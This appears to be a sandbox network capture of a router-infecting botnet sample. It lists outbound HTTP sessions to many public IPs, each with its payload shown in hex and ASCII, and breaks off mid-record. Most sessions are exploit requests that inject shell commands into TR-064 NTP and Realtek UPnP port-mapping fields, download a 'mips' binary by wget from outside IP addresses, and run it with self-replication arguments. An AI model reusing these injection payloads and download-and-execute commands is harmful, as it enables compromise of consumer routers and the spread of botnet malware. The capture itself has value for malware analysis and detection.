Apr 15, 2024 08:52:30.067903996 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:30.340425014 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 06:52:29 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.13	55284	160.141.49.1	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:30.152667999 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:30.366844893 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.13	53188	84.224.167.97	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:30.153975964 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.13	53180	194.195.254.132	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:30.247631073 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.13	53198	84.224.167.97	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:30.507898092 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.13	42780	190.230.4.69	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:30.793523073 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.13	40256	120.88.138.155	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:30.833442926 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:31.163700104 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:52:29 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.13	48574	186.210.44.124	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:30.836004019 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:31.165440083 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.13	36180	94.121.129.98	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:30.968123913 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.13	41766	134.16.79.133	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:30.973846912 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.13	42790	190.230.4.69	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:31.080214977 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.13	46872	34.110.241.133	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:31.120687008 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 